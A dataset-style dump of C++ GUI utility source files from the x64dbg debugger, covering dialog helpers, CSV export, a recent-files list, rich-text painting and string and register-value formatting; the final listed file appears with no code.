language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
C++
x64dbg-development/src/gui/Src/Utils/MiscUtil.cpp
#include "MiscUtil.h" #include <QtWin> #include <QApplication> #include <QMessageBox> #include <QDir> #include "LineEditDialog.h" #include "ComboBoxDialog.h" #include "StringUtil.h" #include "BrowseDialog.h" #include <thread> void SetApplicationIcon(WId winId) { std::thread([winId] { HICON hIcon = LoadIcon(GetModuleHandleW(0), MAKEINTRESOURCE(100)); SendMessageW((HWND)winId, WM_SETICON, ICON_BIG, (LPARAM)hIcon); DestroyIcon(hIcon); }).detach(); } QByteArray & ByteReverse(QByteArray & array) { int length = array.length(); for(int i = 0; i < length / 2; i++) { char temp = array[i]; array[i] = array[length - i - 1]; array[length - i - 1] = temp; } return array; } QByteArray ByteReverse(QByteArray && array) { int length = array.length(); for(int i = 0; i < length / 2; i++) { char temp = array[i]; array[i] = array[length - i - 1]; array[length - i - 1] = temp; } return array; } bool SimpleInputBox(QWidget* parent, const QString & title, QString defaultValue, QString & output, const QString & placeholderText, const QIcon* icon) { LineEditDialog mEdit(parent); mEdit.setWindowIcon(icon ? *icon : parent->windowIcon()); mEdit.setText(defaultValue); mEdit.setPlaceholderText(placeholderText); mEdit.setWindowTitle(title); mEdit.setCheckBox(false); if(mEdit.exec() == QDialog::Accepted) { output = mEdit.editText; return true; } else return false; } bool SimpleChoiceBox(QWidget* parent, const QString & title, QString defaultValue, const QStringList & choices, QString & output, bool editable, const QString & placeholderText, const QIcon* icon, int minimumContentsLength) { ComboBoxDialog mChoice(parent); mChoice.setWindowIcon(icon ? *icon : parent->windowIcon()); mChoice.setEditable(editable); mChoice.setItems(choices); mChoice.setText(defaultValue); mChoice.setPlaceholderText(placeholderText); mChoice.setWindowTitle(title); mChoice.setCheckBox(false); if(minimumContentsLength >= 0) mChoice.setMinimumContentsLength(minimumContentsLength); if(mChoice.exec() == QDialog::Accepted) { output = mChoice.currentText(); return true; } else return false; } void SimpleErrorBox(QWidget* parent, const QString & title, const QString & text) { QMessageBox msg(QMessageBox::Critical, title, text, QMessageBox::NoButton, parent); msg.setWindowIcon(DIcon("fatal-error")); msg.setParent(parent, Qt::Dialog); msg.setWindowFlags(msg.windowFlags() & (~Qt::WindowContextHelpButtonHint)); msg.exec(); } void SimpleWarningBox(QWidget* parent, const QString & title, const QString & text) { QMessageBox msg(QMessageBox::Warning, title, text, QMessageBox::NoButton, parent); msg.setWindowIcon(DIcon("exclamation")); msg.setParent(parent, Qt::Dialog); msg.setWindowFlags(msg.windowFlags() & (~Qt::WindowContextHelpButtonHint)); msg.exec(); } void SimpleInfoBox(QWidget* parent, const QString & title, const QString & text) { QMessageBox msg(QMessageBox::Information, title, text, QMessageBox::NoButton, parent); msg.setWindowIcon(DIcon("information")); msg.setParent(parent, Qt::Dialog); msg.setWindowFlags(msg.windowFlags() & (~Qt::WindowContextHelpButtonHint)); msg.exec(); } QString getSymbolicName(duint addr) { char labelText[MAX_LABEL_SIZE] = ""; char moduleText[MAX_MODULE_SIZE] = ""; bool bHasLabel = DbgGetLabelAt(addr, SEG_DEFAULT, labelText); bool bHasModule = (DbgGetModuleAt(addr, moduleText) && !QString(labelText).startsWith("JMP.&")); QString addrText = ToPtrString(addr); if(bHasLabel && bHasModule) // <module.label> return QString("%1 <%2.%3>").arg(addrText).arg(moduleText).arg(labelText); else if(bHasModule) // module.addr return QString("%1.%2").arg(moduleText).arg(addrText); else if(bHasLabel) // <label> return QString("<%1>").arg(labelText); else return addrText; } QString getSymbolicNameStr(duint addr) { char labelText[MAX_LABEL_SIZE] = ""; char moduleText[MAX_MODULE_SIZE] = ""; char string[MAX_STRING_SIZE] = ""; bool bHasString = DbgGetStringAt(addr, string); bool bHasLabel = DbgGetLabelAt(addr, SEG_DEFAULT, labelText); bool bHasModule = (DbgGetModuleAt(addr, moduleText) && !QString(labelText).startsWith("JMP.&")); QString addrText = DbgMemIsValidReadPtr(addr) ? ToPtrString(addr) : ToHexString(addr); QString finalText; if(bHasString) finalText = addrText + " " + QString(string); else if(bHasLabel && bHasModule) //<module.label> finalText = QString("<%1.%2>").arg(moduleText).arg(labelText); else if(bHasModule) //module.addr finalText = QString("%1.%2").arg(moduleText).arg(addrText); else if(bHasLabel) //<label> finalText = QString("<%1>").arg(labelText); else { finalText = addrText; if(addr == (addr & 0xFF)) { QChar c = QChar((char)addr); if(c.isPrint() || c.isSpace()) finalText += QString(" '%1'").arg(EscapeCh(c)); } else if(addr == (addr & 0xFFF)) //UNICODE? { QChar c = QChar((ushort)addr); if(c.isPrint() || c.isSpace()) finalText += QString(" L'%1'").arg(EscapeCh(c)); } } return finalText; } QIcon getFileIcon(QString file) { SHFILEINFO info; if(SHGetFileInfoW((const wchar_t*)file.utf16(), 0, &info, sizeof(info), SHGFI_ICON) == 0) return QIcon(); //API error QIcon result = QIcon(QtWin::fromHICON(info.hIcon)); DestroyIcon(info.hIcon); return result; } //Export table in CSV. TODO: Display a dialog where the user choose what column to export and in which encoding bool ExportCSV(dsint rows, dsint columns, std::vector<QString> headers, std::function<QString(dsint, dsint)> getCellContent) { BrowseDialog browse( nullptr, QApplication::translate("ExportCSV", "Export data in CSV format"), QApplication::translate("ExportCSV", "Enter the CSV file name to export"), QApplication::translate("ExportCSV", "CSV files (*.csv);;All files (*.*)"), getDbPath("export.csv", true), true ); browse.setWindowIcon(DIcon("database-export")); if(browse.exec() == QDialog::Accepted) { FILE* csv; bool utf16; csv = _wfopen(browse.path.toStdWString().c_str(), L"wb"); if(csv == NULL) { GuiAddLogMessage(QApplication::translate("ExportCSV", "CSV export error\n").toUtf8().constData()); return false; } else { duint setting; if(BridgeSettingGetUint("Misc", "Utf16LogRedirect", &setting)) utf16 = !!setting; else utf16 = false; if(utf16 && ftell(csv) == 0) { unsigned short BOM = 0xfeff; fwrite(&BOM, 2, 1, csv); } dsint row, column; QString text; QString cell; if(headers.size() > 0) { for(column = 0; column < columns; column++) { cell = headers.at(column); if(cell.contains('"') || cell.contains(',') || cell.contains('\r') || cell.contains('\n')) { if(cell.contains('"')) cell = cell.replace("\"", "\"\""); cell = "\"" + cell + "\""; } if(column != columns - 1) cell = cell + ","; text = text + cell; } if(utf16) { text = text + "\r\n"; if(!fwrite(text.utf16(), text.length(), 2, csv)) { fclose(csv); GuiAddLogMessage(QApplication::translate("ExportCSV", "CSV export error\n").toUtf8().constData()); return false; } } else { text = text + "\n"; QByteArray utf8; utf8 = text.toUtf8(); if(!fwrite(utf8.constData(), utf8.size(), 1, csv)) { fclose(csv); GuiAddLogMessage(QApplication::translate("ExportCSV", "CSV export error\n").toUtf8().constData()); return false; } } } for(row = 0; row < rows; row++) { text.clear(); for(column = 0; column < columns; column++) { cell = getCellContent(row, column); if(cell.contains('"') || cell.contains(',') || cell.contains('\r') || cell.contains('\n')) { if(cell.contains('"')) cell = cell.replace("\"", "\"\""); cell = "\"" + cell + "\""; } if(column != columns - 1) cell = cell + ","; text = text + cell; } if(utf16) { text = text + "\r\n"; if(!fwrite(text.utf16(), text.length(), 2, csv)) { fclose(csv); GuiAddLogMessage(QApplication::translate("ExportCSV", "CSV export error\n").toUtf8().constData()); return false; } } else { text = text + "\n"; QByteArray utf8; utf8 = text.toUtf8(); if(!fwrite(utf8.constData(), utf8.size(), 1, csv)) { fclose(csv); GuiAddLogMessage(QApplication::translate("ExportCSV", "CSV export error\n").toUtf8().constData()); return false; } } } fclose(csv); GuiAddLogMessage(QApplication::translate("ExportCSV", "Saved CSV data at %1\n").arg(browse.path).toUtf8().constData()); return true; } } else return false; } static bool allowIcons() { duint setting = 0; return !BridgeSettingGetUint("Gui", "NoIcons", &setting) || !setting; } static bool allowSeasons() { srand(GetTickCount()); duint setting = 0; return !BridgeSettingGetUint("Gui", "NoSeasons", &setting) || !setting; } static bool isChristmas() { auto date = QDateTime::currentDateTime().date(); return date.month() == 12 && date.day() >= 23 && date.day() <= 26; } //https://www.daniweb.com/programming/software-development/threads/463261/c-easter-day-calculation bool isEaster() { auto date = QDateTime::currentDateTime().date(); int K, M, S, A, D, R, OG, SZ, OE, X = date.year(); K = X / 100; // Secular number M = 15 + (3 * K + 3) / 4 - (8 * K + 13) / 25; // Secular Moon shift S = 2 - (3 * K + 3) / 4; // Secular sun shift A = X % 19; // Moon parameter D = (19 * A + M) % 30; // Seed for 1st full Moon in spring R = D / 29 + (D / 28 - D / 29) * (A / 11); // Calendarian correction quantity OG = 21 + D - R; // Easter limit SZ = 7 - (X + X / 4 + S) % 7; // 1st sunday in March OE = 7 - (OG - SZ) % 7; // Distance Easter sunday from Easter limit in days int MM = ((OG + OE) > 31) ? 4 : 3; int DD = (((OG + OE) % 31) == 0) ? 31 : ((OG + OE) % 31); return date.month() == MM && date.day() >= DD - 2 && date.day() <= DD + 1; } bool isSeasonal() { return (isChristmas() || isEaster()); } QIcon DIconHelper(QString name) { if(name.endsWith(".png")) name = name.left(name.length() - 4); static bool icons = allowIcons(); if(!icons) return QIcon(); static bool seasons = allowSeasons(); static bool christmas = isChristmas(); static bool easter = isEaster(); if(seasons) { if(christmas) name = QString("christmas%1").arg(rand() % 8 + 1); else if(easter) name = QString("easter%1").arg(rand() % 8 + 1); } return QIcon::fromTheme(name); } QString getDbPath(const QString & filename, bool addDateTimeSuffix) { auto path = QString("%1/db").arg(QString::fromWCharArray(BridgeUserDirectory())); if(!filename.isEmpty()) { path += '/'; path += filename; // Add a date suffix before the extension if(addDateTimeSuffix) { auto extensionIdx = path.lastIndexOf('.'); if(extensionIdx == -1) { extensionIdx = path.length(); } auto suffix = "-" + isoDateTime(); path.insert(extensionIdx, suffix); } } return QDir::toNativeSeparators(path); } QString mainModuleName(bool extension) { auto base = DbgEval("mod.main()"); char name[MAX_MODULE_SIZE] = ""; if(base && DbgFunctions()->ModNameFromAddr(base, name, extension)) { return name; } return QString(); }
C/C++
x64dbg-development/src/gui/Src/Utils/MiscUtil.h
#pragma once #include <QIcon> #include <functional> #include "Imports.h" class QWidget; class QByteArray; void SetApplicationIcon(WId winId); QByteArray & ByteReverse(QByteArray & array); QByteArray ByteReverse(QByteArray && array); bool SimpleInputBox(QWidget* parent, const QString & title, QString defaultValue, QString & output, const QString & placeholderText, const QIcon* icon = nullptr); bool SimpleChoiceBox(QWidget* parent, const QString & title, QString defaultValue, const QStringList & choices, QString & output, bool editable, const QString & placeholderText, const QIcon* icon = nullptr, int minimumContentsLength = -1); void SimpleErrorBox(QWidget* parent, const QString & title, const QString & text); void SimpleWarningBox(QWidget* parent, const QString & title, const QString & text); void SimpleInfoBox(QWidget* parent, const QString & title, const QString & text); QString getSymbolicName(duint addr); QString getSymbolicNameStr(duint addr); bool ExportCSV(dsint rows, dsint columns, std::vector<QString> headers, std::function<QString(dsint, dsint)> getCellContent); bool isEaster(); bool isSeasonal(); QIcon getFileIcon(QString file); QIcon DIconHelper(QString name); QString getDbPath(const QString & filename = QString(), bool addDateTimeSuffix = false); QString mainModuleName(bool extension = false); #define DIcon(name) [](QString arg) { static QIcon icon(DIconHelper(std::move(arg))); return icon; }(name)
C++
x64dbg-development/src/gui/Src/Utils/MRUList.cpp
#include "MRUList.h" #include "Bridge.h" #include <QMenu> #include <QFile> MRUList::MRUList(QObject* parent, const char* section, int maxItems) : QObject(parent), mSection(section), mMaxMRU(maxItems) { } void MRUList::load() { for(int i = 0; i < mMaxMRU; i++) { char currentFile[MAX_SETTING_SIZE] = ""; if(!BridgeSettingGet(mSection, QString().sprintf("%.2d", i + 1).toUtf8().constData(), currentFile)) break; if(QString(currentFile).size() && QFile(currentFile).exists()) mMRUList.push_back(currentFile); } mMRUList.removeDuplicates(); } void MRUList::save() { BridgeSettingSet(mSection, 0, 0); //clear mMRUList.removeDuplicates(); int mruSize = mMRUList.size(); for(int i = 0; i < mruSize; i++) { if(QFile(mMRUList.at(i)).exists()) BridgeSettingSet(mSection, QString().sprintf("%.2d", i + 1).toUtf8().constData(), mMRUList.at(i).toUtf8().constData()); } } void MRUList::appendMenu(QMenu* menu) { if(mMaxMRU < 1) return; /*QList<QAction*> list = menu->actions(); for(int i = 1; i < list.length(); ++i) menu->removeAction(list.at(i));*/ //add items to list if(mMRUList.size() > 0) { for(int index = 0; index < mMRUList.size(); ++index) { menu->addAction(new QAction(mMRUList.at(index), this)); menu->actions().last()->setObjectName(QString("MRU").append(QString::number(index))); connect(menu->actions().last(), SIGNAL(triggered()), this, SLOT(openFileSlot())); } } } void MRUList::addEntry(QString entry) { if(!entry.size()) return; //remove duplicate entry if it exists removeEntry(entry); mMRUList.insert(mMRUList.begin(), entry); if(mMRUList.size() > mMaxMRU) mMRUList.erase(mMRUList.begin() + mMaxMRU, mMRUList.end()); } void MRUList::removeEntry(QString entry) { if(!entry.size()) return; for(auto it = mMRUList.begin(); it != mMRUList.end(); ++it) { if(*it == entry) { mMRUList.erase(it); break; } } } QString MRUList::getEntry(int index) { if(index < mMRUList.size()) return mMRUList.at(index); return QString(); } void MRUList::openFileSlot() { QAction* fileToOpen = qobject_cast<QAction*>(sender()); //if sender is from recent list directly open file if(fileToOpen && fileToOpen->objectName().startsWith("MRU") && fileToOpen->text().length()) emit openFile(fileToOpen->text()); }
C/C++
x64dbg-development/src/gui/Src/Utils/MRUList.h
#pragma once #include <QObject> #include <Qlist> class QMenu; class MRUList : public QObject { Q_OBJECT public: explicit MRUList(QObject* parent, const char* section, int maxItems = 16); void load(); void save(); void appendMenu(QMenu* menu); void addEntry(QString entry); void removeEntry(QString entry); QString getEntry(int index); signals: void openFile(QString filename); private slots: void openFileSlot(); private: const char* mSection; QList<QString> mMRUList; int mMaxMRU; };
C++
x64dbg-development/src/gui/Src/Utils/RichTextPainter.cpp
#include "RichTextPainter.h" #include "CachedFontMetrics.h" #include <QPainter> //TODO: fix performance (possibly use QTextLayout?) void RichTextPainter::paintRichText(QPainter* painter, int x, int y, int w, int h, int xinc, const List & richText, CachedFontMetrics* fontMetrics) { QPen pen; QPen highlightPen; QBrush brush(Qt::cyan); for(const CustomRichText_t & curRichText : richText) { int textWidth = fontMetrics->width(curRichText.text); int backgroundWidth = textWidth; if(backgroundWidth + xinc > w) backgroundWidth = w - xinc; if(backgroundWidth <= 0) //stop drawing when going outside the specified width break; switch(curRichText.flags) { case FlagNone: //defaults break; case FlagColor: //color only pen.setColor(curRichText.textColor); painter->setPen(pen); break; case FlagBackground: //background only if(backgroundWidth > 0 && curRichText.textBackground.alpha()) { brush.setColor(curRichText.textBackground); painter->fillRect(QRect(x + xinc, y, backgroundWidth, h), brush); } break; case FlagAll: //color+background if(backgroundWidth > 0 && curRichText.textBackground.alpha()) { brush.setColor(curRichText.textBackground); painter->fillRect(QRect(x + xinc, y, backgroundWidth, h), brush); } pen.setColor(curRichText.textColor); painter->setPen(pen); break; } painter->drawText(QRect(x + xinc, y, w - xinc, h), Qt::TextBypassShaping, curRichText.text); if(curRichText.underline && curRichText.underlineColor.alpha()) { highlightPen.setColor(curRichText.underlineColor); highlightPen.setWidth(curRichText.underlineWidth); painter->setPen(highlightPen); int highlightOffsetX = curRichText.underlineConnectPrev ? -1 : 1; painter->drawLine(x + xinc + highlightOffsetX, y + h - 1, x + xinc + backgroundWidth - 1, y + h - 1); } xinc += textWidth; } } /** * @brief RichTextPainter::htmlRichText Convert rich text in x64dbg to HTML, for use by other applications * @param richText The rich text to be converted to HTML format * @param textHtml The HTML source. Any previous content will be preserved and new content will be appended at the end. * @param textPlain The plain text. Any previous content will be preserved and new content will be appended at the end. */ void RichTextPainter::htmlRichText(const List & richText, QString* textHtml, QString & textPlain) { for(const CustomRichText_t & curRichText : richText) { if(curRichText.text == " ") //blank { if(textHtml) *textHtml += " "; textPlain += " "; continue; } if(textHtml) { switch(curRichText.flags) { case FlagNone: //defaults *textHtml += "<span>"; break; case FlagColor: //color only *textHtml += QString("<span style=\"color:%1\">").arg(curRichText.textColor.name()); break; case FlagBackground: //background only if(curRichText.textBackground != Qt::transparent) // QColor::name() returns "#000000" for transparent color. That's not desired. Leave it blank. *textHtml += QString("<span style=\"background-color:%1\">").arg(curRichText.textBackground.name()); else *textHtml += QString("<span>"); break; case FlagAll: //color+background if(curRichText.textBackground != Qt::transparent) // QColor::name() returns "#000000" for transparent color. That's not desired. Leave it blank. *textHtml += QString("<span style=\"color:%1; background-color:%2\">").arg(curRichText.textColor.name(), curRichText.textBackground.name()); else *textHtml += QString("<span style=\"color:%1\">").arg(curRichText.textColor.name()); break; } if(curRichText.underline) //Underline highlighted token *textHtml += "<u>"; *textHtml += curRichText.text.toHtmlEscaped(); if(curRichText.underline) *textHtml += "</u>"; *textHtml += "</span>"; //Close the tag } textPlain += curRichText.text; } }
C/C++
x64dbg-development/src/gui/Src/Utils/RichTextPainter.h
#pragma once #include <QString> #include <QColor> #include <vector> class CachedFontMetrics; class QPainter; class RichTextPainter { public: //structures enum CustomRichTextFlags { FlagNone, FlagColor, FlagBackground, FlagAll }; struct CustomRichText_t { QString text; QColor textColor; QColor textBackground; CustomRichTextFlags flags = CustomRichTextFlags::FlagNone; bool underline = false; QColor underlineColor; int underlineWidth = 2; bool underlineConnectPrev = false; }; static_assert(std::is_move_assignable<CustomRichText_t>::value, "not movable"); typedef std::vector<CustomRichText_t> List; //functions static void paintRichText(QPainter* painter, int x, int y, int w, int h, int xinc, const List & richText, CachedFontMetrics* fontMetrics); static void htmlRichText(const List & richText, QString* textHtml, QString & textPlain); };
C++
x64dbg-development/src/gui/Src/Utils/StringUtil.cpp
#include <stdint.h> #include "main.h" #include "StringUtil.h" #include "MiscUtil.h" #include "ldconvert.h" #include "Configuration.h" QString ToLongDoubleString(const void* buffer) { char str[32]; ld2str(buffer, str); return str; } QString EscapeCh(QChar ch) { switch(ch.unicode()) { case '\0': return "\\0"; case '\t': return "\\t"; case '\f': return "\\f"; case '\v': return "\\v"; case '\n': return "\\n"; case '\r': return "\\r"; case '\\': return "\\\\"; case '\"': return "\\\""; case '\a': return "\\a"; case '\b': return "\\b"; default: return QString(1, ch); } } QString fillValue(const char* value, int valsize, bool bFpuRegistersLittleEndian) { if(bFpuRegistersLittleEndian) return QString(QByteArray(value, valsize).toHex()).toUpper(); else // Big Endian return QString(ByteReverse(QByteArray(value, valsize)).toHex()).toUpper(); } QString composeRegTextXMM(const char* value, int mode) { bool bFpuRegistersLittleEndian = ConfigBool("Gui", "FpuRegistersLittleEndian"); QString valueText; switch(mode) { default: case 0: { valueText = fillValue(value, 16, bFpuRegistersLittleEndian); } break; case 2: { const double* dbl_values = reinterpret_cast<const double*>(value); if(bFpuRegistersLittleEndian) valueText = ToDoubleString(&dbl_values[0]) + ' ' + ToDoubleString(&dbl_values[1]); else // Big Endian valueText = ToDoubleString(&dbl_values[1]) + ' ' + ToDoubleString(&dbl_values[0]); } break; case 1: { const float* flt_values = reinterpret_cast<const float*>(value); if(bFpuRegistersLittleEndian) valueText = ToFloatString(&flt_values[0]) + ' ' + ToFloatString(&flt_values[1]) + ' ' + ToFloatString(&flt_values[2]) + ' ' + ToFloatString(&flt_values[3]); else // Big Endian valueText = ToFloatString(&flt_values[3]) + ' ' + ToFloatString(&flt_values[2]) + ' ' + ToFloatString(&flt_values[1]) + ' ' + ToFloatString(&flt_values[0]); } break; case 9: { if(bFpuRegistersLittleEndian) valueText = fillValue(value) + ' ' + fillValue(value + 1 * 2) + ' ' + fillValue(value + 2 * 2) + ' ' + fillValue(value + 3 * 2) + ' ' + fillValue(value + 4 * 2) + ' ' + fillValue(value + 5 * 2) + ' ' + fillValue(value + 6 * 2) + ' ' + fillValue(value + 7 * 2); else // Big Endian valueText = fillValue(value + 7 * 2) + ' ' + fillValue(value + 6 * 2) + ' ' + fillValue(value + 5 * 2) + ' ' + fillValue(value + 4 * 2) + ' ' + fillValue(value + 3 * 2) + ' ' + fillValue(value + 2 * 2) + ' ' + fillValue(value + 1 * 2) + ' ' + fillValue(value); } break; case 3: { const short* sword_values = reinterpret_cast<const short*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(sword_values[0]) + ' ' + QString::number(sword_values[1]) + ' ' + QString::number(sword_values[2]) + ' ' + QString::number(sword_values[3]) + ' ' + QString::number(sword_values[4]) + ' ' + QString::number(sword_values[5]) + ' ' + QString::number(sword_values[6]) + ' ' + QString::number(sword_values[7]); else // Big Endian valueText = QString::number(sword_values[7]) + ' ' + QString::number(sword_values[6]) + ' ' + QString::number(sword_values[5]) + ' ' + QString::number(sword_values[4]) + ' ' + QString::number(sword_values[3]) + ' ' + QString::number(sword_values[2]) + ' ' + QString::number(sword_values[1]) + ' ' + QString::number(sword_values[0]); } break; case 6: { const unsigned short* uword_values = reinterpret_cast<const unsigned short*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(uword_values[0]) + ' ' + QString::number(uword_values[1]) + ' ' + QString::number(uword_values[2]) + ' ' + QString::number(uword_values[3]) + ' ' + QString::number(uword_values[4]) + ' ' + QString::number(uword_values[5]) + ' ' + QString::number(uword_values[6]) + ' ' + QString::number(uword_values[7]); else // Big Endian valueText = QString::number(uword_values[7]) + ' ' + QString::number(uword_values[6]) + ' ' + QString::number(uword_values[5]) + ' ' + QString::number(uword_values[4]) + ' ' + QString::number(uword_values[3]) + ' ' + QString::number(uword_values[2]) + ' ' + QString::number(uword_values[1]) + ' ' + QString::number(uword_values[0]); } break; case 10: { if(bFpuRegistersLittleEndian) valueText = fillValue(value, 4) + ' ' + fillValue(value + 1 * 4, 4) + ' ' + fillValue(value + 2 * 4, 4) + ' ' + fillValue(value + 3 * 4, 4); else // Big Endian valueText = fillValue(value + 3 * 4, 4) + ' ' + fillValue(value + 2 * 4, 4) + ' ' + fillValue(value + 1 * 4, 4) + ' ' + fillValue(value, 4); } break; case 4: { const int* sdword_values = reinterpret_cast<const int*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(sdword_values[0]) + ' ' + QString::number(sdword_values[1]) + ' ' + QString::number(sdword_values[2]) + ' ' + QString::number(sdword_values[3]); else // Big Endian valueText = QString::number(sdword_values[3]) + ' ' + QString::number(sdword_values[2]) + ' ' + QString::number(sdword_values[1]) + ' ' + QString::number(sdword_values[0]); } break; case 7: { const unsigned int* udword_values = reinterpret_cast<const unsigned int*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(udword_values[0]) + ' ' + QString::number(udword_values[1]) + ' ' + QString::number(udword_values[2]) + ' ' + QString::number(udword_values[3]); else // Big Endian valueText = QString::number(udword_values[3]) + ' ' + QString::number(udword_values[2]) + ' ' + QString::number(udword_values[1]) + ' ' + QString::number(udword_values[0]); } break; case 11: { if(bFpuRegistersLittleEndian) valueText = fillValue(value, 8) + ' ' + fillValue(value + 8, 8); else // Big Endian valueText = fillValue(value + 8, 8) + ' ' + fillValue(value, 8); } break; case 5: { const long long* sqword_values = reinterpret_cast<const long long*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(sqword_values[0]) + ' ' + QString::number(sqword_values[1]); else // Big Endian valueText = QString::number(sqword_values[1]) + ' ' + QString::number(sqword_values[0]); } break; case 8: { const unsigned long long* uqword_values = reinterpret_cast<const unsigned long long*>(value); if(bFpuRegistersLittleEndian) valueText = QString::number(uqword_values[0]) + ' ' + QString::number(uqword_values[1]); else // Big Endian valueText = QString::number(uqword_values[1]) + ' ' + QString::number(uqword_values[0]); } break; } return valueText; } QString composeRegTextYMM(const char* value, int mode) { bool bFpuRegistersLittleEndian = ConfigBool("Gui", "FpuRegistersLittleEndian"); if(mode == 0) return fillValue(value, 32, bFpuRegistersLittleEndian); else if(bFpuRegistersLittleEndian) return composeRegTextXMM(value, mode) + ' ' + composeRegTextXMM(value + 16, mode); else return composeRegTextXMM(value + 16, mode) + ' ' + composeRegTextXMM(value, mode); } QString GetDataTypeString(const void* buffer, duint size, ENCODETYPE type) { switch(type) { case enc_byte: return ToIntegralString<unsigned char>(buffer); case enc_word: return ToIntegralString<unsigned short>(buffer); case enc_dword: return ToIntegralString<unsigned int>(buffer); case enc_fword: return QString(ByteReverse(QByteArray((const char*)buffer, 6)).toHex()); case enc_qword: return ToIntegralString<unsigned long long int>(buffer); case enc_tbyte: return QString(ByteReverse(QByteArray((const char*)buffer, 10)).toHex()); case enc_oword: return QString(ByteReverse(QByteArray((const char*)buffer, 16)).toHex()); case enc_mmword: return QString(QByteArray((const char*)buffer, size).toHex()); case enc_xmmword: return composeRegTextXMM((const char*)buffer, ConfigUint("Gui", "SIMDRegistersDisplayMode")); case enc_ymmword: return composeRegTextYMM((const char*)buffer, ConfigUint("Gui", "SIMDRegistersDisplayMode")); case enc_real4: return ToFloatString(buffer); case enc_real8: return ToDoubleString(buffer); case enc_real10: return ToLongDoubleString(buffer); case enc_ascii: return EscapeCh(*(const char*)buffer); case enc_unicode: return EscapeCh(*(const wchar_t*)buffer); default: return ToIntegralString<unsigned char>(buffer); } } QString isoDateTime() { auto now = QDateTime::currentDateTime(); return QString().sprintf("%04d%02d%02d-%02d%02d%02d", now.date().year(), now.date().month(), now.date().day(), now.time().hour(), now.time().minute(), now.time().second() ); } QString ToDateString(const QDate & date) { static const char* months[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; return QString().sprintf("%s %d %d", months[date.month() - 1], date.day(), date.year()); } QString FILETIMEToDate(const FILETIME & date) { FILETIME localdate; FileTimeToLocalFileTime(&date, &localdate); SYSTEMTIME systime; FileTimeToSystemTime(&localdate, &systime); QDate qdate = QDate(systime.wYear, systime.wMonth, systime.wDay); quint64 time100ns = (quint64)localdate.dwHighDateTime << 32 | (quint64)localdate.dwLowDateTime; time100ns %= (1000ull * 60ull * 60ull * 24ull * 10000ull); localdate.dwHighDateTime = time100ns >> 32; localdate.dwLowDateTime = time100ns & 0xFFFFFFFF; if(qdate != QDate::currentDate()) return QLocale(QString(currentLocale)).toString(qdate) + FILETIMEToTime(localdate); else // today return FILETIMEToTime(localdate); } bool GetCommentFormat(duint addr, QString & comment, bool* autoComment) { comment.clear(); char commentData[MAX_COMMENT_SIZE] = ""; if(!DbgGetCommentAt(addr, commentData)) return false; auto a = *commentData == '\1'; if(autoComment) *autoComment = a; if(!strstr(commentData, "{")) { comment = commentData + a; return true; } char commentFormat[MAX_SETTING_SIZE] = ""; if(DbgFunctions()->StringFormatInline(commentData + a, MAX_SETTING_SIZE, commentFormat)) comment = commentFormat; else comment = commentData + a; return true; }
C/C++
x64dbg-development/src/gui/Src/Utils/StringUtil.h
#pragma once #include <sstream> #include <iomanip> #include <QString> #include <QDateTime> #include <QLocale> #include "Imports.h" inline QString ToPtrString(duint Address) { // // This function exists because of how QT handles // variables in strings. // // QString::arg(): // ((int32)0xFFFF0000) == 0xFFFFFFFFFFFF0000 with sign extension // char temp[32]; #ifdef _WIN64 sprintf_s(temp, "%016llX", Address); #else sprintf_s(temp, "%08X", Address); #endif // _WIN64 return QString(temp); } inline QString ToLongLongHexString(unsigned long long Value) { char temp[32]; sprintf_s(temp, "%llX", Value); return QString(temp); } inline QString ToHexString(duint Value) { char temp[32]; #ifdef _WIN64 sprintf_s(temp, "%llX", Value); #else sprintf_s(temp, "%X", Value); #endif // _WIN64 return QString(temp); } inline QString ToDecString(dsint Value) { char temp[32]; #ifdef _WIN64 sprintf_s(temp, "%lld", Value); #else sprintf_s(temp, "%d", Value); #endif // _WIN64 return QString(temp); } inline QString ToByteString(unsigned char Value) { char temp[4]; sprintf_s(temp, "%02X", Value); return QString(temp); } inline QString ToWordString(unsigned short Value) { char temp[8]; sprintf_s(temp, "%04X", Value); return QString(temp); } inline QString ToDwordString(unsigned int Value) { char temp[16]; sprintf_s(temp, "%08X", Value); return QString(temp); } template<typename T> inline QString ToFloatingString(const void* buffer, int precision) { auto value = *(const T*)buffer; std::stringstream wFloatingStr; wFloatingStr << std::setprecision(precision) << value; return QString::fromStdString(wFloatingStr.str()); } template<typename T> inline QString ToIntegralString(const void* buffer) { auto value = *(const T*)buffer; return ToLongLongHexString(value); } inline QString ToFloatString(const void* buffer, int precision = std::numeric_limits<float>::digits10) { return ToFloatingString<float>(buffer, precision); } inline QString ToDoubleString(const void* buffer, int precision = std::numeric_limits<double>::digits10) { return ToFloatingString<double>(buffer, precision); } QString ToLongDoubleString(const void* buffer); // yyyyMMdd-HHmmss (useful for file suffix) QString isoDateTime(); QString ToDateString(const QDate & date); QString fillValue(const char* value, int valsize = 2, bool bFpuRegistersLittleEndian = false); QString composeRegTextXMM(const char* value, int mode); QString composeRegTextYMM(const char* value, int mode); QString GetDataTypeString(const void* buffer, duint size, ENCODETYPE type); inline QDate GetCompileDate() { return QLocale("en_US").toDate(QString(__DATE__).simplified(), "MMM d yyyy"); } #ifdef _WIN64 #define ArchValue(x32value, x64value) x64value #else #define ArchValue(x32value, x64value) x32value #endif //_WIN64 // Format : d:hh:mm:ss.1234567 inline QString FILETIMEToTime(const FILETIME & time) { // FILETIME is in 100ns quint64 time100ns = (quint64)time.dwHighDateTime << 32 | (quint64)time.dwLowDateTime; quint64 milliseconds = time100ns / 10000; quint64 days = milliseconds / (1000 * 60 * 60 * 24); QTime qtime = QTime::fromMSecsSinceStartOfDay(milliseconds % (1000 * 60 * 60 * 24)); if(days == 0) // 0 days return QString().sprintf("%02d:%02d:%02d.%07lld", qtime.hour(), qtime.minute(), qtime.second(), time100ns % 10000000); else return QString().sprintf("%lld:%02d:%02d:%02d.%07lld", days, qtime.hour(), qtime.minute(), qtime.second(), time100ns % 10000000); } QString FILETIMEToDate(const FILETIME & date); bool GetCommentFormat(duint addr, QString & comment, bool* autoComment = nullptr); QString EscapeCh(QChar ch);
C++
x64dbg-development/src/gui/Src/Utils/SymbolAutoCompleteModel.cpp
